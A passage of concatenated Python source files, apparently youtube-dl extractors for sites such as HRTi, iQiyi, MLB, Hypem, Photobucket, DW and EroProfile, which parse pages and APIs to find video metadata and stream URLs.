                if not quality_url:
                    continue
                height = int_or_none(quality.get('height'))
                formats.append({
                    'format_id': '%s-%dp' % (ext, height) if height else ext,
                    'url': quality_url,
                    'width': int_or_none(quality.get('width')),
                    'height': height,
                })
        self._sort_formats(formats)

        thumbnails = []
        for image in video_data.get('images', []):
            image_url = image.get('url')
            if not image_url:
                continue
            thumbnails.append({
                'url': image_url,
            })

        return {
            'id': video_id,
            'title': title,
            'description': video_data.get('description'),
            'duration': int_or_none(video_data.get('duration')),
            'uploader_id': uploader_id,
            'tags': video_data.get('keywords'),
            'thumbnails': thumbnails,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..compat import compat_HTTPError
from ..utils import (
    clean_html,
    ExtractorError,
    int_or_none,
    parse_age_limit,
    sanitized_Request,
    try_get,
)


class HRTiBaseIE(InfoExtractor):
    """
        Base Information Extractor for Croatian Radiotelevision
        video on demand site https://hrti.hrt.hr
        Reverse engineered from the JavaScript app in app.min.js
    """
    _NETRC_MACHINE = 'hrti'

    _APP_LANGUAGE = 'hr'
    _APP_VERSION = '1.1'
    _APP_PUBLICATION_ID = 'all_in_one'
    _API_URL = 'http://clientapi.hrt.hr/client_api.php/config/identify/format/json'

    def _initialize_api(self):
        init_data = {
            'application_publication_id': self._APP_PUBLICATION_ID
        }

        uuid = self._download_json(
            self._API_URL, None, note='Downloading uuid',
            errnote='Unable to download uuid',
            data=json.dumps(init_data).encode('utf-8'))['uuid']

        app_data = {
            'uuid': uuid,
            'application_publication_id': self._APP_PUBLICATION_ID,
            'application_version': self._APP_VERSION
        }

        req = sanitized_Request(self._API_URL, data=json.dumps(app_data).encode('utf-8'))
        req.get_method = lambda: 'PUT'

        resources = self._download_json(
            req, None, note='Downloading session information',
            errnote='Unable to download session information')

        self._session_id = resources['session_id']

        modules = resources['modules']

        self._search_url = modules['vod_catalog']['resources']['search']['uri'].format(
            language=self._APP_LANGUAGE,
            application_id=self._APP_PUBLICATION_ID)

        self._login_url = (modules['user']['resources']['login']['uri'] +
                           '/format/json').format(session_id=self._session_id)

        self._logout_url = modules['user']['resources']['logout']['uri']

    def _login(self):
        (username, password) = self._get_login_info()
        # TODO: figure out authentication with cookies
        if username is None or password is None:
            self.raise_login_required()

        auth_data = {
            'username': username,
            'password': password,
        }

        try:
            auth_info = self._download_json(
                self._login_url, None, note='Logging in', errnote='Unable to log in',
                data=json.dumps(auth_data).encode('utf-8'))
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 406:
                auth_info = self._parse_json(e.cause.read().encode('utf-8'), None)
            else:
                raise

        error_message = auth_info.get('error', {}).get('message')
        if error_message:
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, error_message),
                expected=True)

        self._token = auth_info['secure_streaming_token']

    def _real_initialize(self):
        self._initialize_api()
        self._login()


class HRTiIE(HRTiBaseIE):
    _VALID_URL = r'''(?x)
                        (?:
                            hrti:(?P<short_id>[0-9]+)|
                            https?://
                                hrti\.hrt\.hr/\#/video/show/(?P<id>[0-9]+)/(?P<display_id>[^/]+)?
                        )
                    '''
    _TESTS = [{
        'url': 'https://hrti.hrt.hr/#/video/show/2181385/republika-dokumentarna-serija-16-hd',
        'info_dict': {
            'id': '2181385',
            'display_id': 'republika-dokumentarna-serija-16-hd',
            'ext': 'mp4',
            'title': 'REPUBLIKA, dokumentarna serija (1/6) (HD)',
            'description': 'md5:48af85f620e8e0e1df4096270568544f',
            'duration': 2922,
            'view_count': int,
            'average_rating': int,
            'episode_number': int,
            'season_number': int,
            'age_limit': 12,
        },
        'skip': 'Requires account credentials',
    }, {
        'url': 'https://hrti.hrt.hr/#/video/show/2181385/',
        'only_matching': True,
    }, {
        'url': 'hrti:2181385',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('short_id') or mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        video = self._download_json(
            '%s/video_id/%s/format/json' % (self._search_url, video_id),
            display_id, 'Downloading video metadata JSON')['video'][0]

        title_info = video['title']
        title = title_info['title_long']

        movie = video['video_assets']['movie'][0]
        m3u8_url = movie['url'].format(TOKEN=self._token)
        formats = self._extract_m3u8_formats(
            m3u8_url, display_id, 'mp4', entry_protocol='m3u8_native',
            m3u8_id='hls')
        self._sort_formats(formats)

        description = clean_html(title_info.get('summary_long'))
        age_limit = parse_age_limit(video.get('parental_control', {}).get('rating'))
        view_count = int_or_none(video.get('views'))
        average_rating = int_or_none(video.get('user_rating'))
        duration = int_or_none(movie.get('duration'))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'duration': duration,
            'view_count': view_count,
            'average_rating': average_rating,
            'age_limit': age_limit,
            'formats': formats,
        }


class HRTiPlaylistIE(HRTiBaseIE):
    _VALID_URL = r'https?://hrti.hrt.hr/#/video/list/category/(?P<id>[0-9]+)/(?P<display_id>[^/]+)?'
    _TESTS = [{
        'url': 'https://hrti.hrt.hr/#/video/list/category/212/ekumena',
        'info_dict': {
            'id': '212',
            'title': 'ekumena',
        },
        'playlist_mincount': 8,
        'skip': 'Requires account credentials',
    }, {
        'url': 'https://hrti.hrt.hr/#/video/list/category/212/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        category_id = mobj.group('id')
        display_id = mobj.group('display_id') or category_id

        response = self._download_json(
            '%s/category_id/%s/format/json' % (self._search_url, category_id),
            display_id, 'Downloading video metadata JSON')

        video_ids = try_get(
            response, lambda x: x['video_listings'][0]['alternatives'][0]['list'],
            list) or [video['id'] for video in response.get('videos', []) if video.get('id')]

        entries = [self.url_result('hrti:%s' % video_id) for video_id in video_ids]

        return self.playlist_result(entries, category_id, display_id)






# coding: utf-8
from __future__ import unicode_literals

import hashlib
import itertools
import re
import time

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urllib_parse_urlencode,
)
from ..utils import (
    clean_html,
    decode_packed_codes,
    get_element_by_id,
    get_element_by_attribute,
    ExtractorError,
    ohdave_rsa_encrypt,
    remove_start,
)


def md5_text(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()


class IqiyiSDK(object):
    def __init__(self, target, ip, timestamp):
        self.target = target
        self.ip = ip
        self.timestamp = timestamp

    @staticmethod
    def split_sum(data):
        return compat_str(sum(map(lambda p: int(p, 16), list(data))))

    @staticmethod
    def digit_sum(num):
        if isinstance(num, int):
            num = compat_str(num)
        return compat_str(sum(map(int, num)))

    def even_odd(self):
        even = self.digit_sum(compat_str(self.timestamp)[::2])
        odd = self.digit_sum(compat_str(self.timestamp)[1::2])
        return even, odd

    def preprocess(self, chunksize):
        self.target = md5_text(self.target)
        chunks = []
        for i in range(32 // chunksize):
            chunks.append(self.target[chunksize * i:chunksize * (i + 1)])
        if 32 % chunksize:
            chunks.append(self.target[32 - 32 % chunksize:])
        return chunks, list(map(int, self.ip.split('.')))

    def mod(self, modulus):
        chunks, ip = self.preprocess(32)
        self.target = chunks[0] + ''.join(map(lambda p: compat_str(p % modulus), ip))

    def split(self, chunksize):
        modulus_map = {
            4: 256,
            5: 10,
            8: 100,
        }

        chunks, ip = self.preprocess(chunksize)
        ret = ''
        for i in range(len(chunks)):
            ip_part = compat_str(ip[i] % modulus_map[chunksize]) if i < 4 else ''
            if chunksize == 8:
                ret += ip_part + chunks[i]
            else:
                ret += chunks[i] + ip_part
        self.target = ret

    def handle_input16(self):
        self.target = md5_text(self.target)
        self.target = self.split_sum(self.target[:16]) + self.target + self.split_sum(self.target[16:])

    def handle_input8(self):
        self.target = md5_text(self.target)
        ret = ''
        for i in range(4):
            part = self.target[8 * i:8 * (i + 1)]
            ret += self.split_sum(part) + part
        self.target = ret

    def handleSum(self):
        self.target = md5_text(self.target)
        self.target = self.split_sum(self.target) + self.target

    def date(self, scheme):
        self.target = md5_text(self.target)
        d = time.localtime(self.timestamp)
        strings = {
            'y': compat_str(d.tm_year),
            'm': '%02d' % d.tm_mon,
            'd': '%02d' % d.tm_mday,
        }
        self.target += ''.join(map(lambda c: strings[c], list(scheme)))

    def split_time_even_odd(self):
        even, odd = self.even_odd()
        self.target = odd + md5_text(self.target) + even

    def split_time_odd_even(self):
        even, odd = self.even_odd()
        self.target = even + md5_text(self.target) + odd

    def split_ip_time_sum(self):
        chunks, ip = self.preprocess(32)
        self.target = compat_str(sum(ip)) + chunks[0] + self.digit_sum(self.timestamp)

    def split_time_ip_sum(self):
        chunks, ip = self.preprocess(32)
        self.target = self.digit_sum(self.timestamp) + chunks[0] + compat_str(sum(ip))


class IqiyiSDKInterpreter(object):
    def __init__(self, sdk_code):
        self.sdk_code = sdk_code

    def run(self, target, ip, timestamp):
        self.sdk_code = decode_packed_codes(self.sdk_code)

        functions = re.findall(r'input=([a-zA-Z0-9]+)\(input', self.sdk_code)

        sdk = IqiyiSDK(target, ip, timestamp)

        other_functions = {
            'handleSum': sdk.handleSum,
            'handleInput8': sdk.handle_input8,
            'handleInput16': sdk.handle_input16,
            'splitTimeEvenOdd': sdk.split_time_even_odd,
            'splitTimeOddEven': sdk.split_time_odd_even,
            'splitIpTimeSum': sdk.split_ip_time_sum,
            'splitTimeIpSum': sdk.split_time_ip_sum,
        }
        for function in functions:
            if re.match(r'mod\d+', function):
                sdk.mod(int(function[3:]))
            elif re.match(r'date[ymd]{3}', function):
                sdk.date(function[4:])
            elif re.match(r'split\d+', function):
                sdk.split(int(function[5:]))
            elif function in other_functions:
                other_functions[function]()
            else:
                raise ExtractorError('Unknown funcion %s' % function)

        return sdk.target


class IqiyiIE(InfoExtractor):
    IE_NAME = 'iqiyi'
    IE_DESC = '爱奇艺'

    _VALID_URL = r'https?://(?:(?:[^.]+\.)?iqiyi\.com|www\.pps\.tv)/.+\.html'

    _NETRC_MACHINE = 'iqiyi'

    _TESTS = [{
        'url': 'http://www.iqiyi.com/v_19rrojlavg.html',
        # MD5 checksum differs on my machine and Travis CI
        'info_dict': {
            'id': '9c1fb1b99d192b21c559e5a1a2cb3c73',
            'ext': 'mp4',
            'title': '美国德州空中惊现奇异云团 酷似UFO',
        }
    }, {
        'url': 'http://www.iqiyi.com/v_19rrhnnclk.html',
        'md5': '667171934041350c5de3f5015f7f1152',
        'info_dict': {
            'id': 'e3f585b550a280af23c98b6cb2be19fb',
            'ext': 'mp4',
            'title': '名侦探柯南 国语版：第752集 迫近灰原秘密的黑影 下篇',
        },
        'skip': 'Geo-restricted to China',
    }, {
        'url': 'http://www.iqiyi.com/w_19rt6o8t9p.html',
        'only_matching': True,
    }, {
        'url': 'http://www.iqiyi.com/a_19rrhbc6kt.html',
        'only_matching': True,
    }, {
        'url': 'http://yule.iqiyi.com/pcb.html',
        'only_matching': True,
    }, {
        # VIP-only video. The first 2 parts (6 minutes) are available without login
        # MD5 sums omitted as values are different on Travis CI and my machine
        'url': 'http://www.iqiyi.com/v_19rrny4w8w.html',
        'info_dict': {
            'id': 'f3cf468b39dddb30d676f89a91200dc1',
            'ext': 'mp4',
            'title': '泰坦尼克号',
        },
        'skip': 'Geo-restricted to China',
    }, {
        'url': 'http://www.iqiyi.com/a_19rrhb8ce1.html',
        'info_dict': {
            'id': '202918101',
            'title': '灌篮高手 国语版',
        },
        'playlist_count': 101,
    }, {
        'url': 'http://www.pps.tv/w_19rrbav0ph.html',
        'only_matching': True,
    }]

    _FORMATS_MAP = {
        '96': 1,    # 216p, 240p
        '1': 2,     # 336p, 360p
        '2': 3,     # 480p, 504p
        '21': 4,    # 504p
        '4': 5,     # 720p
        '17': 5,    # 720p
        '5': 6,     # 1072p, 1080p
        '18': 7,    # 1080p
    }

    def _real_initialize(self):
        self._login()

    @staticmethod
    def _rsa_fun(data):
        # public key extracted from http://static.iqiyi.com/js/qiyiV2/20160129180840/jobs/i18n/i18nIndex.js
        N = 0xab86b6371b5318aaa1d3c9e612a9f1264f372323c8c0f19875b5fc3b3fd3afcc1e5bec527aa94bfa85bffc157e4245aebda05389a5357b75115ac94f074aefcd
        e = 65537

        return ohdave_rsa_encrypt(data, e, N)

    def _login(self):
        (username, password) = self._get_login_info()

        # No authentication to be performed
        if not username:
            return True

        data = self._download_json(
            'http://kylin.iqiyi.com/get_token', None,
            note='Get token for logging', errnote='Unable to get token for logging')
        sdk = data['sdk']
        timestamp = int(time.time())
        target = '/apis/reglogin/login.action?lang=zh_TW&area_code=null&email=%s&passwd=%s&agenttype=1&from=undefined&keeplogin=0&piccode=&fromurl=&_pos=1' % (
            username, self._rsa_fun(password.encode('utf-8')))

        interp = IqiyiSDKInterpreter(sdk)
        sign = interp.run(target, data['ip'], timestamp)

        validation_params = {
            'target': target,
            'server': 'BEA3AA1908656AABCCFF76582C4C6660',
            'token': data['token'],
            'bird_src': 'f8d91d57af224da7893dd397d52d811a',
            'sign': sign,
            'bird_t': timestamp,
        }
        validation_result = self._download_json(
            'http://kylin.iqiyi.com/validate?' + compat_urllib_parse_urlencode(validation_params), None,
            note='Validate credentials', errnote='Unable to validate credentials')

        MSG_MAP = {
            'P00107': 'please login via the web interface and enter the CAPTCHA code',
            'P00117': 'bad username or password',
        }

        code = validation_result['code']
        if code != 'A00000':
            msg = MSG_MAP.get(code)
            if not msg:
                msg = 'error %s' % code
                if validation_result.get('msg'):
                    msg += ': ' + validation_result['msg']
            self._downloader.report_warning('unable to log in: ' + msg)
            return False

        return True

    def get_raw_data(self, tvid, video_id):
        tm = int(time.time() * 1000)

        key = 'd5fb4bd9d50c4be6948c97edd7254b0e'
        sc = md5_text(compat_str(tm) + key + tvid)
        params = {
            'tvid': tvid,
            'vid': video_id,
            'src': '76f90cbd92f94a2e925d83e8ccd22cb7',
            'sc': sc,
            't': tm,
        }

        return self._download_json(
            'http://cache.m.iqiyi.com/jp/tmts/%s/%s/' % (tvid, video_id),
            video_id, transform_source=lambda s: remove_start(s, 'var tvInfoJs='),
            query=params, headers=self.geo_verification_headers())

    def _extract_playlist(self, webpage):
        PAGE_SIZE = 50

        links = re.findall(
            r'<a[^>]+class="site-piclist_pic_link"[^>]+href="(http://www\.iqiyi\.com/.+\.html)"',
            webpage)
        if not links:
            return

        album_id = self._search_regex(
            r'albumId\s*:\s*(\d+),', webpage, 'album ID')
        album_title = self._search_regex(
            r'data-share-title="([^"]+)"', webpage, 'album title', fatal=False)

        entries = list(map(self.url_result, links))

        # Start from 2 because links in the first page are already on webpage
        for page_num in itertools.count(2):
            pagelist_page = self._download_webpage(
                'http://cache.video.qiyi.com/jp/avlist/%s/%d/%d/' % (album_id, page_num, PAGE_SIZE),
                album_id,
                note='Download playlist page %d' % page_num,
                errnote='Failed to download playlist page %d' % page_num)
            pagelist = self._parse_json(
                remove_start(pagelist_page, 'var tvInfoJs='), album_id)
            vlist = pagelist['data']['vlist']
            for item in vlist:
                entries.append(self.url_result(item['vurl']))
            if len(vlist) < PAGE_SIZE:
                break

        return self.playlist_result(entries, album_id, album_title)

    def _real_extract(self, url):
        webpage = self._download_webpage(
            url, 'temp_id', note='download video page')

        # There's no simple way to determine whether an URL is a playlist or not
        # So detect it
        playlist_result = self._extract_playlist(webpage)
        if playlist_result:
            return playlist_result

        tvid = self._search_regex(
            r'data-player-tvid\s*=\s*[\'"](\d+)', webpage, 'tvid')
        video_id = self._search_regex(
            r'data-player-videoid\s*=\s*[\'"]([a-f\d]+)', webpage, 'video_id')

        formats = []
        for _ in range(5):
            raw_data = self.get_raw_data(tvid, video_id)

            if raw_data['code'] != 'A00000':
                if raw_data['code'] == 'A00111':
                    self.raise_geo_restricted()
                raise ExtractorError('Unable to load data. Error code: ' + raw_data['code'])

            data = raw_data['data']

            for stream in data['vidl']:
                if 'm3utx' not in stream:
                    continue
                vd = compat_str(stream['vd'])
                formats.append({
                    'url': stream['m3utx'],
                    'format_id': vd,
                    'ext': 'mp4',
                    'preference': self._FORMATS_MAP.get(vd, -1),
                    'protocol': 'm3u8_native',
                })

            if formats:
                break

            self._sleep(5, video_id)

        self._sort_formats(formats)
        title = (get_element_by_id('widget-videotitle', webpage) or
                 clean_html(get_element_by_attribute('class', 'mod-play-tit', webpage)))

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
)


class MLBIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    https?://
                        (?:[\da-z_-]+\.)*mlb\.com/
                        (?:
                            (?:
                                (?:.*?/)?video/(?:topic/[\da-z_-]+/)?v|
                                (?:
                                    shared/video/embed/(?:embed|m-internal-embed)\.html|
                                    (?:[^/]+/)+(?:play|index)\.jsp|
                                )\?.*?\bcontent_id=
                            )
                            (?P<id>n?\d+)|
                            (?:[^/]+/)*(?P<path>[^/]+)
                        )
                    '''
    _TESTS = [
        {
            'url': 'http://m.mlb.com/sea/video/topic/51231442/v34698933/nymsea-ackley-robs-a-home-run-with-an-amazing-catch/?c_id=sea',
            'md5': 'ff56a598c2cf411a9a38a69709e97079',
            'info_dict': {
                'id': '34698933',
                'ext': 'mp4',
                'title': "Ackley's spectacular catch",
                'description': 'md5:7f5a981eb4f3cbc8daf2aeffa2215bf0',
                'duration': 66,
                'timestamp': 1405980600,
                'upload_date': '20140721',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://m.mlb.com/video/topic/81536970/v34496663/mianym-stanton-practices-for-the-home-run-derby',
            'md5': 'd9c022c10d21f849f49c05ae12a8a7e9',
            'info_dict': {
                'id': '34496663',
                'ext': 'mp4',
                'title': 'Stanton prepares for Derby',
                'description': 'md5:d00ce1e5fd9c9069e9c13ab4faedfa57',
                'duration': 46,
                'timestamp': 1405105800,
                'upload_date': '20140711',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://m.mlb.com/video/topic/vtp_hrd_sponsor/v34578115/hrd-cespedes-wins-2014-gillette-home-run-derby',
            'md5': '0e6e73d509321e142409b695eadd541f',
            'info_dict': {
                'id': '34578115',
                'ext': 'mp4',
                'title': 'Cespedes repeats as Derby champ',
                'description': 'md5:08df253ce265d4cf6fb09f581fafad07',
                'duration': 488,
                'timestamp': 1405399936,
                'upload_date': '20140715',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://m.mlb.com/video/v34577915/bautista-on-derby-captaining-duties-his-performance',
            'md5': 'b8fd237347b844365d74ea61d4245967',
            'info_dict': {
                'id': '34577915',
                'ext': 'mp4',
                'title': 'Bautista on Home Run Derby',
                'description': 'md5:b80b34031143d0986dddc64a8839f0fb',
                'duration': 52,
                'timestamp': 1405390722,
                'upload_date': '20140715',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://m.mlb.com/news/article/118550098/blue-jays-kevin-pillar-goes-spidey-up-the-wall-to-rob-tim-beckham-of-a-homer',
            'md5': 'b190e70141fb9a1552a85426b4da1b5d',
            'info_dict': {
                'id': '75609783',
                'ext': 'mp4',
                'title': 'Must C: Pillar climbs for catch',
                'description': '4/15/15: Blue Jays outfielder Kevin Pillar continues his defensive dominance by climbing the wall in left to rob Tim Beckham of a home run',
                'timestamp': 1429124820,
                'upload_date': '20150415',
            }
        },
        {
            'url': 'http://m.mlb.com/shared/video/embed/embed.html?content_id=35692085&topic_id=6479266&width=400&height=224&property=mlb',
            'only_matching': True,
        },
        {
            'url': 'http://mlb.mlb.com/shared/video/embed/embed.html?content_id=36599553',
            'only_matching': True,
        },
        {
            'url': 'http://mlb.mlb.com/es/video/play.jsp?content_id=36599553',
            'only_matching': True,
        },
        {
            'url': 'http://m.cardinals.mlb.com/stl/video/v51175783/atlstl-piscotty-makes-great-sliding-catch-on-line/?partnerId=as_mlb_20150321_42500876&adbid=579409712979910656&adbpl=tw&adbpr=52847728',
            'only_matching': True,
        },
        {
            # From http://m.mlb.com/news/article/118550098/blue-jays-kevin-pillar-goes-spidey-up-the-wall-to-rob-tim-beckham-of-a-homer
            'url': 'http://mlb.mlb.com/shared/video/embed/m-internal-embed.html?content_id=75609783&property=mlb&autoplay=true&hashmode=false&siteSection=mlb/multimedia/article_118550098/article_embed&club=mlb',
            'only_matching': True,
        },
        {
            'url': 'http://washington.nationals.mlb.com/mlb/gameday/index.jsp?c_id=was&gid=2015_05_09_atlmlb_wasmlb_1&lang=en&content_id=108309983&mode=video#',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        if not video_id:
            video_path = mobj.group('path')
            webpage = self._download_webpage(url, video_path)
            video_id = self._search_regex(
                [r'data-video-?id="(\d+)"', r'content_id=(\d+)'], webpage, 'video id')

        detail = self._download_xml(
            'http://m.mlb.com/gen/multimedia/detail/%s/%s/%s/%s.xml'
            % (video_id[-3], video_id[-2], video_id[-1], video_id), video_id)

        title = detail.find('./headline').text
        description = detail.find('./big-blurb').text
        duration = parse_duration(detail.find('./duration').text)
        timestamp = parse_iso8601(detail.attrib['date'][:-5])

        thumbnails = [{
            'url': thumbnail.text,
        } for thumbnail in detail.findall('./thumbnailScenarios/thumbnailScenario')]

        formats = []
        for media_url in detail.findall('./url'):
            playback_scenario = media_url.attrib['playback_scenario']
            fmt = {
                'url': media_url.text,
                'format_id': playback_scenario,
            }
            m = re.search(r'(?P<vbr>\d+)K_(?P<width>\d+)X(?P<height>\d+)', playback_scenario)
            if m:
                fmt.update({
                    'vbr': int(m.group('vbr')) * 1000,
                    'width': int(m.group('width')),
                    'height': int(m.group('height')),
                })
            formats.append(fmt)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
            'thumbnails': thumbnails,
        }






from __future__ import unicode_literals

import json
import time

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlencode
from ..utils import (
    ExtractorError,
    sanitized_Request,
)


class HypemIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hypem\.com/track/(?P<id>[^/]+)/'
    _TEST = {
        'url': 'http://hypem.com/track/1v6ga/BODYWORK+-+TAME',
        'md5': 'b9cc91b5af8995e9f0c1cee04c575828',
        'info_dict': {
            'id': '1v6ga',
            'ext': 'mp3',
            'title': 'Tame',
            'uploader': 'BODYWORK',
        }
    }

    def _real_extract(self, url):
        track_id = self._match_id(url)

        data = {'ax': 1, 'ts': time.time()}
        request = sanitized_Request(url + '?' + compat_urllib_parse_urlencode(data))
        response, urlh = self._download_webpage_handle(
            request, track_id, 'Downloading webpage with the url')

        html_tracks = self._html_search_regex(
            r'(?ms)<script type="application/json" id="displayList-data">(.+?)</script>',
            response, 'tracks')
        try:
            track_list = json.loads(html_tracks)
            track = track_list['tracks'][0]
        except ValueError:
            raise ExtractorError('Hypemachine contained invalid JSON.')

        key = track['key']
        track_id = track['id']
        title = track['song']

        request = sanitized_Request(
            'http://hypem.com/serve/source/%s/%s' % (track_id, key),
            '', {'Content-Type': 'application/json'})
        song_data = self._download_json(request, track_id, 'Downloading metadata')
        final_url = song_data['url']
        artist = track.get('artist')

        return {
            'id': track_id,
            'url': final_url,
            'ext': 'mp3',
            'title': title,
            'uploader': artist,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class PhotobucketIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[a-z0-9]+\.)?photobucket\.com/.*(([\?\&]current=)|_)(?P<id>.*)\.(?P<ext>(flv)|(mp4))'
    _TEST = {
        'url': 'http://media.photobucket.com/user/rachaneronas/media/TiredofLinkBuildingTryBacklinkMyDomaincom_zpsc0c3b9fa.mp4.html?filters[term]=search&filters[primary]=videos&filters[secondary]=images&sort=1&o=0',
        'md5': '7dabfb92b0a31f6c16cebc0f8e60ff99',
        'info_dict': {
            'id': 'zpsc0c3b9fa',
            'ext': 'mp4',
            'timestamp': 1367669341,
            'upload_date': '20130504',
            'uploader': 'rachaneronas',
            'title': 'Tired of Link Building? Try BacklinkMyDomain.com!',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        video_extension = mobj.group('ext')

        webpage = self._download_webpage(url, video_id)

        # Extract URL, uploader, and title from webpage
        self.report_extraction(video_id)
        info_json = self._search_regex(r'Pb\.Data\.Shared\.put\(Pb\.Data\.Shared\.MEDIA, (.*?)\);',
                                       webpage, 'info json')
        info = json.loads(info_json)
        url = compat_urllib_parse_unquote(self._html_search_regex(r'file=(.+\.mp4)', info['linkcodes']['html'], 'url'))
        return {
            'id': video_id,
            'url': url,
            'uploader': info['username'],
            'timestamp': info['creationDate'],
            'title': info['title'],
            'ext': video_extension,
            'thumbnail': info['thumbUrl'],
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)
from ..compat import compat_urlparse


class DWIE(InfoExtractor):
    IE_NAME = 'dw'
    _VALID_URL = r'https?://(?:www\.)?dw\.com/(?:[^/]+/)+(?:av|e)-(?P<id>\d+)'
    _TESTS = [{
        # video
        'url': 'http://www.dw.com/en/intelligent-light/av-19112290',
        'md5': '7372046e1815c5a534b43f3c3c36e6e9',
        'info_dict': {
            'id': '19112290',
            'ext': 'mp4',
            'title': 'Intelligent light',
            'description': 'md5:90e00d5881719f2a6a5827cb74985af1',
            'upload_date': '20160311',
        }
    }, {
        # audio
        'url': 'http://www.dw.com/en/worldlink-my-business/av-19111941',
        'md5': '2814c9a1321c3a51f8a7aeb067a360dd',
        'info_dict': {
            'id': '19111941',
            'ext': 'mp3',
            'title': 'WorldLink: My business',
            'description': 'md5:bc9ca6e4e063361e21c920c53af12405',
            'upload_date': '20160311',
        }
    }, {
        # DW documentaries, only last for one or two weeks
        'url': 'http://www.dw.com/en/documentaries-welcome-to-the-90s-2016-05-21/e-19220158-9798',
        'md5': '56b6214ef463bfb9a3b71aeb886f3cf1',
        'info_dict': {
            'id': '19274438',
            'ext': 'mp4',
            'title': 'Welcome to the 90s – Hip Hop',
            'description': 'Welcome to the 90s - The Golden Decade of Hip Hop',
            'upload_date': '20160521',
        },
        'skip': 'Video removed',
    }]

    def _real_extract(self, url):
        media_id = self._match_id(url)
        webpage = self._download_webpage(url, media_id)
        hidden_inputs = self._hidden_inputs(webpage)
        title = hidden_inputs['media_title']
        media_id = hidden_inputs.get('media_id') or media_id

        if hidden_inputs.get('player_type') == 'video' and hidden_inputs.get('stream_file') == '1':
            formats = self._extract_smil_formats(
                'http://www.dw.com/smil/v-%s' % media_id, media_id,
                transform_source=lambda s: s.replace(
                    'rtmp://tv-od.dw.de/flash/',
                    'http://tv-download.dw.de/dwtv_video/flv/'))
            self._sort_formats(formats)
        else:
            formats = [{'url': hidden_inputs['file_name']}]

        upload_date = hidden_inputs.get('display_date')
        if not upload_date:
            upload_date = self._html_search_regex(
                r'<span[^>]+class="date">([0-9.]+)\s*\|', webpage,
                'upload date', default=None)
            upload_date = unified_strdate(upload_date)

        return {
            'id': media_id,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnail': hidden_inputs.get('preview_image'),
            'duration': int_or_none(hidden_inputs.get('file_duration')),
            'upload_date': upload_date,
            'formats': formats,
        }


class DWArticleIE(InfoExtractor):
    IE_NAME = 'dw:article'
    _VALID_URL = r'https?://(?:www\.)?dw\.com/(?:[^/]+/)+a-(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.dw.com/en/no-hope-limited-options-for-refugees-in-idomeni/a-19111009',
        'md5': '8ca657f9d068bbef74d6fc38b97fc869',
        'info_dict': {
            'id': '19105868',
            'ext': 'mp4',
            'title': 'The harsh life of refugees in Idomeni',
            'description': 'md5:196015cc7e48ebf474db9399420043c7',
            'upload_date': '20160310',
        }
    }

    def _real_extract(self, url):
        article_id = self._match_id(url)
        webpage = self._download_webpage(url, article_id)
        hidden_inputs = self._hidden_inputs(webpage)
        media_id = hidden_inputs['media_id']
        media_path = self._search_regex(r'href="([^"]+av-%s)"\s+class="overlayLink"' % media_id, webpage, 'media url')
        media_url = compat_urlparse.urljoin(url, media_path)
        return self.url_result(media_url, 'DW', media_id)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlencode
from ..utils import (
    ExtractorError,
    unescapeHTML
)


class EroProfileIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?eroprofile\.com/m/videos/view/(?P<id>[^/]+)'
    _LOGIN_URL = 'http://www.eroprofile.com/auth/auth.php?'
    _NETRC_MACHINE = 'eroprofile'
    _TESTS = [{
        'url': 'http://www.eroprofile.com/m/videos/view/sexy-babe-softcore',
        'md5': 'c26f351332edf23e1ea28ce9ec9de32f',
        'info_dict': {
            'id': '3733775',
            'display_id': 'sexy-babe-softcore',
            'ext': 'm4v',
            'title': 'sexy babe softcore',
            'thumbnail': 're:https?://.*\.jpg',
            'age_limit': 18,
        }
    }, {
        'url': 'http://www.eroprofile.com/m/videos/view/Try-It-On-Pee_cut_2-wmv-4shared-com-file-sharing-download-movie-file',
        'md5': '1baa9602ede46ce904c431f5418d8916',
        'info_dict': {
            'id': '1133519',
            'ext': 'm4v',
            'title': 'Try It On Pee_cut_2.wmv - 4shared.com - file sharing - download movie file',
            'thumbnail': 're:https?://.*\.jpg',
            'age_limit': 18,
        },
        'skip': 'Requires login',
    }]

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        query = compat_urllib_parse_urlencode({
            'username': username,
            'password': password,
            'url': 'http://www.eroprofile.com/',
        })
        login_url = self._LOGIN_URL + query
        login_page = self._download_webpage(login_url, None, False)

        m = re.search(r'Your username or password was incorrect\.', login_page)
        if m:
            raise ExtractorError(
                'Wrong username and/or password.', expected=True)

        self.report_login()
